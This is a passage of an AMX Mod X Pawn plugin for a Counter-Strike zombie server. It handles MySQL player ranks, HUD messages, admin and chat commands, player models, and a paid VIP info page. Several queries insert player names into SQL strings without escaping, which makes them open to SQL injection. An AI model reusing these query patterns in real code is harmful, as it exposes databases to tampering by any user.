1794 SQL_ReadResult(Query, 8, g_kpdRatio[Client]);
1795 g_kmdValue[Client] = SQL_ReadResult(Query, 9);
1796 }
1797 }
1798
1799 set_task(7.0, "rankPrepared", Client);
1800 set_task(300.0, "timeUpdate", Client + 400, "", 0, "b", 0);
1801 }
1802}
1803
1804public timeUpdate(iTask)
1805{
1806 if (is_user_connected(iTask + -400) && !is_user_bot(iTask + -400) && !is_user_hltv(iTask + -400))
1807 {
1808 g_Time[iTask + -400] += 2;
1809
1810 computeTimeLength(g_Time[iTask + -400], \
1811 timeUnit_Minutes, g_timeString[iTask + -400], charsmax(g_timeString[]));
1812
1813 formatex(g_Query, charsmax(g_Query), \
1814 "UPDATE Players SET Time = %d, timeString = '%s' WHERE Name = '%s';", \
1815 g_Time[iTask + -400], g_timeString[iTask + -400], g_Name[iTask + -400]);
1816
1817 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1818 }
1819}
1820
1821public rankPrepared(Client)
1822{
1823 static queryData[32] = { 0, ... };
1824
1825 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1826 {
1827 set_dhudmessage(0, 255, 0, 0.02, 0.70, 2, 6.0, 3.0);
1828 show_dhudmessage(Client, "You are now ranked!");
1829
1830 num_to_str(Client, queryData, charsmax(queryData));
1831
1832 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue \
1833 FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[Client]);
1834
1835 SQL_ThreadQuery(g_Tuple, "showRank", g_Query, queryData, sizeof(queryData));
1836
1837 g_bRanked[Client] = true;
1838 }
1839}
1840
1841public showRank(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1842{
1843 static Client = 0, Rank = 0, rankString[16], recordsString[16], scoreString[16], killsString[16], deathsString[16], headShotsString[16];
1844
1845 if (failState != 0 || errorId != 0)
1846 {
1847 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ showRank()");
1848 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1849 }
1850
1851 else if (queueTime > 15.0)
1852 {
1853 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ showRank() : This query took 15.0 seconds. \
1854 Talk to the game host company tell them the MySQL database works too slow.");
1855 }
1856
1857 Client = str_to_num(Data);
1858
1859 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1860 {
1861 Rank = SQL_NumResults(Query);
1862
1863 AddCommas(Rank, rankString, charsmax(rankString));
1864 AddCommas(g_recordsCount, recordsString, charsmax(recordsString));
1865 AddCommas(g_Kills[Client], killsString, charsmax(killsString));
1866 AddCommas(g_Deaths[Client], deathsString, charsmax(deathsString));
1867 AddCommas(g_Score[Client], scoreString, charsmax(scoreString));
1868 AddCommas(g_headShots[Client], headShotsString, charsmax(headShotsString));
1869
1870 new HostName [64]; get_cvar_string ( "hostname", HostName, charsmax ( HostName ) );
1871
1872 set_dhudmessage(0, 255, 0, 0.02, 0.2, 2, 0.02, 1.0, 6.0, 8.0);
1873 show_dhudmessage(Client, "Welcome, %s^nRank: %s of %s Score: %d^nKills: %s Deaths: %s KPD: %0.2f^nOnline: %s^nEnjoy!",
1874 g_Name[Client], rankString, recordsString, g_Score[Client] = 1000, \
1875 killsString, deathsString, g_kpdRatio[Client], g_timeString[Client]);
1876
1877
1878 set_dhudmessage(157, 103, 200, 0.02, 0.5, 2, 6.0, 8.0)
1879 show_dhudmessage(Client, "%s^nDon't forget to add us to your favourites!",HostName);
1880 }
1881}
1882
1883public printRankChat(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1884{
1885 static cScore[15];
1886 static cDeaths[15];
1887 static cKills[15];
1888 static cTotal[15];
1889 static cRank[15];
1890 static Rank;
1891 static iPlayer;
1892 iPlayer = str_to_num(Data);
1893 Rank = SQL_NumResults(Query);
1894 AddCommas(Rank, cRank, 15);
1895 AddCommas(g_recordsCount, cTotal, 15);
1896 AddCommas(g_Deaths[iPlayer], cDeaths, 15);
1897 AddCommas(g_Kills[iPlayer], cKills, 15);
1898 AddCommas(g_Score[iPlayer], cScore, 15);
1899 g_iMenu = menu_create("Ranking", "EmptyPanel", 0);
1900 formatex(g_cQuery, 255, "Rank: %s of %s Score: %s", cRank, cTotal, cScore);
1901 menu_additem(g_iMenu, g_cQuery, "1", 0, -1);
1902 if (failState != 0 || errorId != 0)
1903 {
1904 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ printRankChat()");
1905 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1906 }
1907 else if (queueTime > 15.0)
1908 {
1909 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ printRankChat() : This query took 15.0 seconds. \
1910 Talk to the game host company tell them the MySQL database works too slow.");
1911 }
1912 formatex(g_cQuery, 255, "Kills: %s Deaths: %s KPD: %0.2f", cKills, cDeaths, g_kpdRatio[iPlayer]);
1913 menu_additem(g_iMenu, g_cQuery, "2", 0, -1);
1914 formatex(g_cQuery, 255, "Online: %s", g_timeString[iPlayer]);
1915 menu_additem(g_iMenu, g_cQuery, "3", 0, -1);
1916 menu_setprop(g_iMenu, 6, -1);
1917 menu_display(iPlayer, g_iMenu, 0);
1918
1919 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1's rank is^4 %s^1 of ^4%s^1 --^3 %0.2f KPD", g_cName[iPlayer], cRank, cTotal, g_kpdRatio[iPlayer]);
1920 return 0;
1921}
1922
1923public EmptyPanel(iPlayer, iMenu, iItem)
1924{
1925 return 0;
1926}
1927
1928public plugin_init()
1929{
1930 new i = 0;
1931 new cNumber[3];
1932 new cLine[128];
1933 new cTime[4];
1934 get_time("%H", cTime, 3);
1935 register_dictionary("common.txt");
1936 RegisterHam(Ham_Spawn, "player", "OnPlayerSpawn", 1);
1937 RegisterHam(Ham_TakeDamage, "player", "OnTakeDamage", 0);
1938 RegisterHam(Ham_TakeDamage, "player", "OnTakeDamagePost", 1);
1939 RegisterHam(Ham_Killed, "player", "OnKilled", 0);
1940 RegisterHam(Ham_Item_PreFrame, "player", "OnPreFrame", 1);
1941 RegisterHam(Ham_TraceAttack, "player", "OnTraceAttack", 0);
1942 RegisterHam(Ham_Touch, "weaponbox", "OnTouch");
1943 RegisterHam(Ham_Touch, "armoury_entity", "OnTouch");
1944 RegisterHam(Ham_Touch, "weapon_shield", "OnTouch")
1945 RegisterHam(Ham_Think, "grenade", "OnGrenadeThink", 0);
1946 RegisterHam(Ham_Player_Jump, "player", "OnPlayerJump", 0);
1947 RegisterHam(Ham_TraceAttack, "player", "Golden_Ak_Tracer", 1 );
1948 RegisterHam(Ham_TraceAttack, "player", "Golden_Deagle_Tracer", 1 );
1949 RegisterHam(Ham_Think, "grenade", "fw_ThinkGrenade")
1950 register_forward(FM_SetModel, "fwSetModel");
1951 register_forward(FM_ClientUserInfoChanged, "fwdClientUserInfoChanged");
1952 register_forward(FM_GetGameDescription, "fwGetGameDescription");
1953 register_forward(FM_SetModel, "fw_SetModel");
1954 register_forward(FM_PlayerPreThink, "OnPlayerDuck");
1955 register_forward(FM_EmitSound, "fwEmitSound");
1956 register_forward(FM_PlayerPreThink, "PlayerPreThink" );
1957 register_forward(FM_UpdateClientData, "fw_UpdateClientData");
1958 register_forward(FM_TraceLine, "FW_TraceLine_Post", 1);
1959 register_forward(FM_PlayerPreThink, "FW_PlayerPreThink");
1960 register_forward(FM_ClientKill, "fwClientKill");
1961 register_think("zp_trip_mine", "Forward_Think");
1962 unregister_forward(FM_Spawn, iFwSpawnHook)
1963 register_logevent("EventRoundEnd", 2, "1=Round_End");
1964 register_logevent("EventRoundStart", 2, "1=Round_Start");
1965 register_logevent("Event_RoundStart", 2, "1=Round_Start");
1966 register_event("HLTV", "EventHLTV", "a", "1=0", "2=0");
1967 register_event("StatusValue", "EventStatusValue", "be", "1=2", "2!0");
1968 register_event("StatusValue", "EventStatusValueHide", "be", "1=1", "2=0");
1969 register_event("CurWeapon", "EventCurWeapon", "be", "1=1");
1970 register_event("CurWeapon", "UpdateWeapon", "be", "1=1", "3=13", "3=15", "3=20", "3=25", "3=30", "3=35", "3=12", "3=10", "3=100", "3=8", "3=7", "3=50");
1971 register_event("DeathMsg", "OnDeathMsg", "a");
1972 register_message(get_user_msgid("Scenario"), "MessageScenario");
1973 register_message(get_user_msgid("HostagePos"), "MessageHostagepos");
1974 register_message(get_user_msgid("Health"), "MessageHealth");
1975 register_message(get_user_msgid("Money"), "MessageMoney");
1976 register_message(get_user_msgid("TeamInfo"), "MessageTeamInfo");
1977 register_message(get_user_msgid("CurWeapon"), "message_cur_weapon");
1978 set_msg_block(get_user_msgid("TextMsg"), 2);
1979 set_msg_block(get_user_msgid("SendAudio"), 2);
1980 set_msg_block(get_user_msgid("AmmoPickup"), 2);
1981 set_msg_block(get_user_msgid("WeapPickup"), 2);
1982 g_iGameMenu = menu_create("Game Menu", "_GameMenu", 0);
1983 g_iSecondaryMenu = menu_create("Secondary Menu", "_SecondaryMenu", 0);
1984 g_iPrimaryMenu = menu_create("Primary Menu", "_PrimaryMenu", 0);
1985 g_iMenuZombieClasses = menu_create("Zombie Classes", "_ZombieClasses", 0);
1986 menu_additem(g_iGameMenu, "Buy extra items", "0", 0, -1);
1987 menu_additem(g_iGameMenu, "Choose zombie class", "1", 0, -1);
1988 menu_additem(g_iGameMenu, "Buy features with points", "2", 0, -1);
1989 menu_additem(g_iGameMenu, "Unstuck", "3", 0, -1);
1990 menu_additem(g_iGameMenu, "See rank", "4", 0, -1);
1991 menu_additem(g_iGameMenu, "See top and all statistics", "5", 0, -1);
1992 i = 0;
1993 while (i < 7)
1994 {
1995 formatex(cLine, 128, "%s %s", g_cZombieClasses[i], g_cZombieAttribs[i]);
1996 num_to_str(i, cNumber, 3);
1997 menu_additem(g_iMenuZombieClasses, cLine, cNumber, 0, -1);
1998 i++;
1999 }
2000 i = 0;
2001 while (i < 6)
2002 {
2003 num_to_str(i, cNumber, 3);
2004 menu_additem(g_iSecondaryMenu, g_cSecondaryWeapons[i], cNumber, 0, -1);
2005 g_iSecondaryWeapons[i] = get_weaponid(g_cSecondaryEntities[i]);
2006 i++;
2007 }
2008 i = 0;
2009 while (i < 10)
2010 {
2011 num_to_str(i, cNumber, 3);
2012 menu_additem(g_iPrimaryMenu, g_cPrimaryWeapons[i], cNumber, 0, -1);
2013 g_iPrimaryWeapons[i] = get_weaponid(g_cPrimaryEntities[i]);
2014 i++;
2015 }
2016 g_iTimeLimit = get_cvar_pointer("mp_timelimit");
2017 g_aNameData = ArrayCreate(32, 1);
2018 g_aAmmoData = ArrayCreate(1, 1);
2019 g_iAntidoteSync = CreateHudSyncObj(0);
2020 g_iTopMessageSync = CreateHudSyncObj(0);
2021 g_iCounterMessage = CreateHudSyncObj(0);
2022 g_iCenterMessageSync = CreateHudSyncObj(0);
2023 g_iDownMessageSync = CreateHudSyncObj(0);
2024 g_iVersusSync = CreateHudSyncObj(0);
2025 g_iShopEventHudmessage = CreateHudSyncObj(0);
2026 g_iEventsHudmessage = CreateHudSyncObj(0);
2027 g_iMineMessage = CreateHudSyncObj(0);
2028 g_iSecondMineMessage = CreateHudSyncObj(0);
2029 g_iRemainingSync = CreateHudSyncObj(0);
2030 g_iRegenerationSync = CreateHudSyncObj(0);
2031 g_iMaxClients = get_maxplayers();
2032 register_concmd("amx_human", "CmdMode", -1, "", -1);
2033 register_concmd("amx_zombie", "CmdMode", -1, "", -1);
2034 register_concmd("amx_nemesis", "CmdMode", -1, "", -1);
2035 register_concmd("amx_swarm", "CmdMode", -1, "", -1);
2036 register_concmd("amx_plague", "CmdMode", -1, "", -1);
2037 register_concmd("amx_armageddon", "CmdMode", -1, "", -1);
2038 register_concmd("amx_nightmare", "CmdMode", -1, "", -1);
2039 register_concmd("amx_multiple", "CmdMode", -1, "", -1);
2040 register_concmd("amx_sniper", "CmdMode", -1, "", -1);
2041 register_concmd("amx_survivor", "CmdMode", -1, "", -1);
2042 register_concmd("amx_assassins_vs_snipers", "CmdMode", -1, "", -1);
2043 register_concmd("amx_assassin", "CmdMode", -1, "", -1);
2044 register_concmd("amx_respawn", "CmdMode", -1, "", -1);
2045 register_concmd("amx_ammo", "CmdMode", -1, "", -1);
2046 register_concmd("amx_points", "CmdPoints", -1, "", -1);
2047 register_concmd("amx_plugins", "cmdPlugins", -1, "", -1);
2048 register_concmd("amx_kick", "CmdKick", -1, "", -1);
2049 register_concmd("amx_slay", "CmdSlay", -1, "", -1);
2050 register_concmd("amx_freeze", "CmdFreeze", -1, "", -1);
2051 register_concmd("amx_unfreeze", "CmdUnfreeze", -1, "", -1);
2052 register_concmd("amx_destroy", "CmdDestroy", -1, "", -1);
2053 register_concmd("amx_gag", "CmdGag", -1, "", -1);
2054 register_concmd("amx_ungag", "CmdGag", -1, "", -1);
2055 register_concmd("amx_slap", "CmdSlap", -1, "", -1);
2056 register_concmd("amx_map", "CmdMap", -1, "", -1);
2057 register_concmd("amx_exec", "CmdExec", -1, "", -1);
2058 register_concmd("amx_last", "CmdLast", -1, "", -1);
2059 register_concmd("amx_ban", "CmdBan", -1, "", -1);
2060 register_concmd("amx_unban", "CmdUnBan", -1, "", -1);
2061 register_concmd("amx_addban", "CmdAddBan", -1, "", -1);
2062 register_concmd("amx_chat", "CmdChat", -1, "", -1);
2063 register_concmd("amx_say", "CmdSayChat", -1, "", -1);
2064 register_clcmd("say_team", "Client_SayTeam", -1, "", -1);
2065 register_clcmd("drop", "CmdDrop", -1, "", -1);
2066 register_clcmd("cl_setautobuy", "CmdBlock", -1, "", -1);
2067 register_clcmd("cl_setrebuy", "CmdBlock", -1, "", -1);
2068 register_clcmd("amx_password_for_slot", "CommandGetSlot", -1, "", -1);
2069 register_clcmd("amx_password_for_model", "CommandGetModel", -1, "", -1);
2070 register_clcmd("plant_mine", "CmdPlantMine", -1, "", -1);
2071 register_clcmd("take_mine", "CmdTakeMine", -1, "", -1);
2072 register_clcmd("nightvision", "CmdNightVision", -1, "", -1);
2073 register_clcmd("jointeam", "CmdJoinTeam", -1, "", -1);
2074 register_clcmd("chooseteam", "CmdJoinTeam", -1, "", -1);
2075 register_clcmd("say", "Client_Say", -1, "", -1);
2076 register_clcmd("say", "ClientCommand_Say", -1, "", -1);
2077 register_clcmd("say_team", "ClientCommand_Say", -1, "", -1);
2078 register_clcmd("cl_autoupdate", "CmdUpdate", -1, "", -1);
2079 register_clcmd("fullupdate", "CmdUpdate", -1, "", -1);
2080 register_clcmd("fullupdaterate", "CmdUpdate", -1, "", -1);
2081 register_cvar("amx_vote_ratio", "0.02")
2082 register_cvar("amx_show_activity", "2")
2083 register_cvar("amx_time_voice", "1")
2084 register_cvar("amx_client_languages", "0")
2085 register_cvar("amx_debug", "1")
2086 register_cvar("amx_vote_time", "10")
2087 register_cvar("amx_vote_answers", "1")
2088 register_cvar("amx_vote_delay", "60")
2089 register_cvar("amx_last_voting", "0")
2090 register_cvar("amx_votemap_ratio", "0.40")
2091 set_cvar_float("amx_last_voting", 0.0)
2092 set_task(0.01, "TaskAxaxa", 0, "", 0, "", 0);
2093 set_task(10.0, "Rays", .flags="b");
2094 set_task(5.0, "TaskLight", 0, "", 0, "b", 0);
2095 set_task(6.20, "TaskHudMess", 0, "", 0, "", 0);
2096 set_task(33.50, "TaskAdvertisements", 0, "", 0, "b", 0);
2097 new cfgs[128];
2098 get_configsdir(cfgs, 127)
2099 add(cfgs, 127, "/vips.ini")
2100
2101 new file = fopen(cfgs, "r")
2102 if (file)
2103 {
2104 new line[512], name[64], pwd[64], flags[64]
2105
2106 while (!feof(file))
2107 {
2108 fgets(file, line ,511)
2109 trim(line)
2110 if (!line[0] || line[0] == '/' || line[0] == ';' || line[0] == '#')
2111 continue;
2112 new r=parse(line, name,63,pwd,63,flags,63)
2113 if (r < 3) continue;
2114 ArrayPushString(g_vname, name)
2115 ArrayPushString(g_vpwd, pwd)
2116 ArrayPushString(g_vflags, flags)
2117 }
2118
2119 fclose(file)
2120 }
2121 g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);
2122 if (g_Tuple == Empty_Handle)
2123 {
2124 g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);
2125
2126 if (g_Tuple == Empty_Handle)
2127 {
2128 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_MakeDbTuple() failed @ plugin_init()");
2129
2130 return set_fail_state("SQL_MakeDbTuple() failed @ plugin_init()");
2131 }
2132 }
2133 SQL_ThreadQuery(g_Tuple, "emptyFunction", "CREATE TABLE IF NOT EXISTS Players \
2134 (Name TEXT, Steam TEXT, Ip TEXT, Score NUMERIC, Kills NUMERIC, Deaths NUMERIC, \
2135 headShots NUMERIC, Time NUMERIC, timeString TEXT, Seen NUMERIC, seenString TEXT, kpdRatio FLOAT, \
2136 kmdValue NUMERIC);");
2137 SQL_ThreadQuery(g_Tuple, "recordsCount", "SELECT Kills FROM Players");
2138 return 0;
2139}
2140
2141public fwdClientUserInfoChanged( id, szInfoKey )
2142{
2143 if ( is_user_connected( id ) )
2144 return FMRES_IGNORED;
2145 static szNewName[ 32 ];
2146 static szCurrentName[ 32 ];
2147 get_user_name( id, szCurrentName, sizeof ( szCurrentName ) -1 );
2148 engfunc( EngFunc_InfoKeyValue, szInfoKey, "name", szNewName, sizeof ( szNewName ) - 1 );
2149
2150 if( equal( szNewName, szCurrentName ) )
2151 return FMRES_IGNORED;
2152 for( new i = 0; i < sizeof ( g_szRestrictedThings ); i++ )
2153 if( containi( szNewName, g_szRestrictedThings[ i ] ) != -1 )
2154 engfunc( EngFunc_SetClientKeyValue, id, szInfoKey, "name", g_szDefaultName );
2155
2156 return FMRES_SUPERCEDE;
2157}
2158
2159public plugin_cfg()
2160{
2161 set_task( 0.5, "ReadCommandVars", 3426422 );
2162}
2163
2164public ReadCommandVars( )
2165{
2166 g_iPing = clamp( 12, 0, 4095 );
2167 g_iFlux = clamp( 4, 0, 4095 );
2168
2169 set_task( 2.0, "calculate_arguments", 4235621, _, _, "b" );
2170}
2171
2172public plugin_natives()
2173{
2174 register_library("NewStats");
2175 register_native("NewStats_GetStats", "NewStats_GetStats");
2176 register_native("NewStats_GetTop15", "NewStats_GetTop15");
2177}
2178
2179public TaskHudMess()
2180{
2181 new iFile;
2182 new cLine[161];
2183 iFile = fopen("addons/amxmodx/configs/z_out_advertisements.ini", "r");
2184 if (iFile)
2185 {
2186 while (!feof(iFile))
2187 {
2188 fgets(iFile, cLine, 160);
2189 trim(cLine);
2190 if (cLine[0] == 33)
2191 {
2192 copy(g_cAdvertisements[g_iAdvertisementsCount], 160, cLine);
2193 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!g", "^4");
2194 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!t", "^3");
2195 replace_all(g_cAdvertisements[g_iAdvertisementsCount], 160, "!n", "^1");
2196 g_iAdvertisementsCount += 1;
2197 }
2198 }
2199 fclose(iFile);
2200 }
2201 iFile = fopen("addons/amxmodx/configs/z_out_hud_advertisements.ini", "r");
2202 if (iFile)
2203 {
2204 while (!feof(iFile))
2205 {
2206 fgets(iFile, cLine, 160);
2207 trim(cLine);
2208 if (4 < strlen(cLine))
2209 {
2210 copy(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, cLine);
2211 replace_all(g_cHudAdvertisements[g_iHudAdvertisementsCount], 160, "\n", "^n");
2212 g_iHudAdvertisementsCount += 1;
2213 }
2214 }
2215 fclose(iFile);
2216 }
2217 return 0;
2218}
2219
2220
2221public TaskCheckName( id )
2222{
2223 if (g_bConnected[id])
2224 {
2225 new szName[ 32 ];
2226 get_user_name( id, szName, sizeof ( szName ) -1 );
2227
2228 for( new i = 0; i < sizeof ( g_szRestrictedThings ); i++ )
2229 {
2230 if( containi( szName, g_szRestrictedThings[ i ] ) != -1 )
2231 {
2232 set_user_info( id, "name", g_szDefaultName );
2233 }
2234 }
2235 }
2236 return 0;
2237}
2238
2239public CmdBlock()
2240{
2241 return 1;
2242}
2243
2244public CmdUpdate(iPlayer)
2245{
2246 static Float:fGameTime;
2247 fGameTime = get_gametime();
2248 if (floatsub(fGameTime, g_fLast[iPlayer]) < 0.30)
2249 {
2250 server_cmd("kick #%d You are banned due to flooding!; addip 60 %s; writeip", get_user_userid(iPlayer), g_cPlayerAddress[iPlayer]);
2251 }
2252 else
2253 {
2254 g_fLast[iPlayer] = fGameTime;
2255 }
2256 return 0;
2257}
2258
2259public ChangeModel(iTask)
2260{
2261 static bool:bChange;
2262 static cModel[24];
2263 static i;
2264 static iPlayer;
2265 iPlayer = iTask + -250;
2266 bChange = true;
2267 cs_get_user_model(iPlayer, cModel, 24);
2268 if (!g_bZombie[iPlayer])
2269 {
2270 if (!g_iPlayerType[iPlayer])
2271 {
2272 if (get_user_flags ( iPlayer ) & read_flags ( "m" ) && !g_vip[iPlayer])
2273 {
2274 if (equal(cModel, "z_out_admin"))
2275 {
2276 bChange = false;
2277 }
2278 }
2279 if (g_vip[iPlayer])
2280 {
2281 if (equal(cModel, "DanDiaconescu"))
2282 {
2283 bChange = false;
2284 }
2285 }
2286 i = 0;
2287 while (i < 4)
2288 {
2289 if (equal(cModel, g_cHumanModels[i], 0))
2290 {
2291 bChange = false;
2292 }
2293 i += 1;
2294 }
2295 }
2296 }
2297 if (bChange)
2298 {
2299 if (!g_bZombie[iPlayer])
2300 {
2301 if (!g_iPlayerType[iPlayer])
2302 {
2303 if (get_user_flags ( iPlayer ) & read_flags ( "m" ) && !g_vip[iPlayer])
2304 {
2305 cs_set_user_model(iPlayer, "z_out_admin");
2306 }
2307 else
2308 {
2309 if (g_vip[iPlayer])
2310 {
2311 cs_set_user_model(iPlayer, "DanDiaconescu");
2312 }
2313 else
2314 {
2315 cs_set_user_model(iPlayer, g_cHumanModels[random_num(0, 3)]);
2316 }
2317 }
2318 }
2319 else
2320 {
2321 if (g_iPlayerType[iPlayer] & 4)
2322 {
2323 cs_set_user_model(iPlayer, "z_out_survivor");
2324 }
2325 if (g_iPlayerType[iPlayer] & 8 && !equal(cModel, "arctic"))
2326 {
2327 cs_set_user_model(iPlayer, "arctic");
2328 }
2329 }
2330 }
2331 else
2332 {
2333 if (!g_iPlayerType[iPlayer])
2334 {
2335 cs_set_user_model(iPlayer, g_cZombieModels[g_iZombieClass[iPlayer]]);
2336 }
2337 if (g_iPlayerType[iPlayer] & 1)
2338 {
2339 cs_set_user_model(iPlayer, "z_out_nemesis");
2340 }
2341 if (g_iPlayerType[iPlayer] & 2)
2342 {
2343 cs_set_user_model(iPlayer, "z_out_assassin");
2344 }
2345 }
2346 }
2347 return 0;
2348}
2349
2350public TaskAxaxa()
2351{
2352 new iFile = fopen("addons/amxmodx/configs/RegisteredCharacter.ini", "r");
2353 if (iFile)
2354 {
2355 fgets(iFile, g_cRegisteredCharacter, 31);
2356 trim(g_cRegisteredCharacter);
2357 formatex(g_Secret, 31, "%s", g_cRegisteredCharacter);
2358 format(g_cRegisteredCharacter, 31, "(Gold Member %s) ", g_cRegisteredCharacter);
2359 fclose(iFile);
2360 }
2361 return 0;
2362}
2363
2364public ShowMenuClasses(iPlayer)
2365{
2366 if (!g_bFake[iPlayer])
2367 {
2368 menu_display(iPlayer, g_iMenuZombieClasses, 0);
2369 }
2370 return 0;
2371}
2372
2373public Client_Say(iPlayer)
2374{
2375 static cMessage[150];
2376 static name[32];
2377 static motd[2048];
2378 static len = 0;
2379 static queryData[32] = { 0, ... }
2380 static Float:fGameTime;
2381 fGameTime = get_gametime();
2382 if (g_fGagTime[iPlayer] > fGameTime)
2383 {
2384 return 1;
2385 }
2386 read_args(cMessage, 149);
2387 remove_quotes(cMessage);
2388 if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
2389 {
2390 if (!g_bRanked[iPlayer])
2391 {
2392 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are not ranked yet!");
2393 }
2394 else
2395 {
2396 if (floatsub(fGameTime, g_fLastRankQuery) < 3.0)
2397 {
2398 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have to wait^3 %0.1f seconds^1 until next command!", g_fLastRankQuery + 3.00 - fGameTime);
2399 }
2400 g_fLastRankQuery = fGameTime;
2401 num_to_str(iPlayer, queryData, charsmax(queryData));
2402
2403 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", g_kmdValue[iPlayer]);
2404
2405 SQL_ThreadQuery(g_Tuple, "printRankChat", g_Query, queryData, sizeof(queryData));
2406 }
2407 }
2408 else
2409 {
2410 if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", 3) || equali(cMessage, "gold", 4))
2411 {
2412 new Text[1501];
2413 add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype : robythedude<br><br>Monthly Price | Pret Lunar : 5 EUR 7 USD 25 RON<br><br>Features | Caracteristici<br>* Higher Damage ", 0);
2414 add(Text, 1500, "+ More Ammo Packs | Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn | +200 Viata la Spawn<br>* +50 Armor in Spawn | +50 Armura la Spawn<br>* Double Jump in Spawn | Saritura Dubla din Spawn<br>* Special Laser ", 0);
2415 add(Text, 1500, "Rays -- Ability to View Through Walls | Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model | Model Alb de Jucator<br>* VIP Tag in Score Table | Tag VIP in Tabla de Scoruri</pre></font></body>", 0);
2416 show_motd(iPlayer, Text, "Gold Member Info");
2417 }
2418 if (equali(cMessage, "/top", 4) || equali(cMessage, "top", 3))
2419 {
2420 }
2421 if (equali(cMessage, "/maps", 0) || equali(cMessage, "maps", 0))
2422 {
2423 len = formatex(motd, charsmax(motd), "<body bgcolor=#000000><center><font color=red size=4><b>* MAPS *</b></font><br />");
2424
2425 new file=fopen("addons/amxmodx/configs/maps.ini","r");
2426 if (file)
2427 {
2428 while (!feof(file))
2429 {
2430 fgets(file,name,31)
2431 trim(name);
2432 if (strlen(name)<1||name[0]=='/'||name[0]=='#'||name[0]==';')
2433 continue
2434
2435 len += formatex(motd[len], charsmax(motd) - len, "<font color=gray size=3><b>%s</b></font><br />", name);
2436 }
2437 fclose(file);
2438 }
2439
2440 len += formatex(motd[len], charsmax(motd) - len, "</center></body>");
2441
2442 show_motd(iPlayer, motd, "Server's Maps");
2443 }
2444 if (equali(cMessage, "/rs", 3) || equali(cMessage, "Rs", 2) || equali(cMessage, "Reset", 5) || equali(cMessage, "Reset", 5))
2445 {
2446 get_user_name(iPlayer, name, charsmax(name));
2447
2448 set_user_frags(iPlayer, 0);
2449 cs_set_user_deaths(iPlayer, 0);
2450
2451 set_user_frags(iPlayer, 0);
2452 cs_set_user_deaths(iPlayer, 0);
2453
2454 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has reset their score!", name);
2455 }
2456 if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
2457 {
2458 static iTimeleft;
2459 iTimeleft = floatround(GetTimeLeft(), floatround_round);
2460 if (!get_cvar_num("mp_timelimit"))
2461 {
2462 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [no time limit]");
2463 }
2464 else
2465 {
2466 if (get_cvar_num("mp_timelimit") == 4096)
2467 {
2468 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
2469 }
2470 if (0 < iTimeleft)
2471 {
2472 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 %d:%02d", iTimeleft / 60, iTimeleft % 60);
2473 }
2474 else
2475 {
2476 client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
2477 }
2478 }
2479 }
2480 if (equali(cMessage, "/nextmap", 0) || equali(cMessage, "nextmap", 0))
2481 {
2482 static cMap[32];
2483 get_cvar_string("nextmap", cMap, 32);
2484 if (cMap[0])
2485 {
2486 client_print_color(iPlayer, print_team_default, "^1Next map:^4 %s", cMap);
2487 }
2488 else
2489 {
2490 client_print_color(iPlayer, print_team_default, "^1Next map:^4 [not yet voted on]");
2491 }
2492 }
2493 if (equali(cMessage, "/thetime", 0) || equali(cMessage, "thetime", 0))
2494 {
2495 static cTime[64];
2496 get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
2497 client_print_color(0, print_team_grey, "^1The Time:^1 %s", cTime);
2498 }
2499 if (equali(cMessage, "/currentmap", 0) || equali(cMessage, "currentmap", 0))
2500 {
2501 static cMap[32];
2502 get_mapname(cMap, 32);
2503 client_print_color(0, print_team_grey, "Current map:^4 %s", cMap);
2504 }
2505 if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
2506 {
2507 new args[128];
2508 read_args(args, 127)
2509 trim(args)
2510 remove_quotes(args)
2511 trim(args)
2512
2513 new val[32], target[32], ammo[32], plr;
2514 new res = parse(args, val, 31, target, 31, ammo, 31)
2515
2516 if (res != 3)
2517 return 0;
2518 if (!equali(val, "donate") && !equali(val[1], "donate"))
2519 return 0;
2520
2521 plr = cmd_target(iPlayer,target, 0)
2522
2523 if (!plr)
2524 {
2525 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid target.")
2526 return 1
2527 }
2528
2529 new amount = str_to_num(ammo)
2530 if (amount < 1)
2531 {
2532 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Invalid amount.")
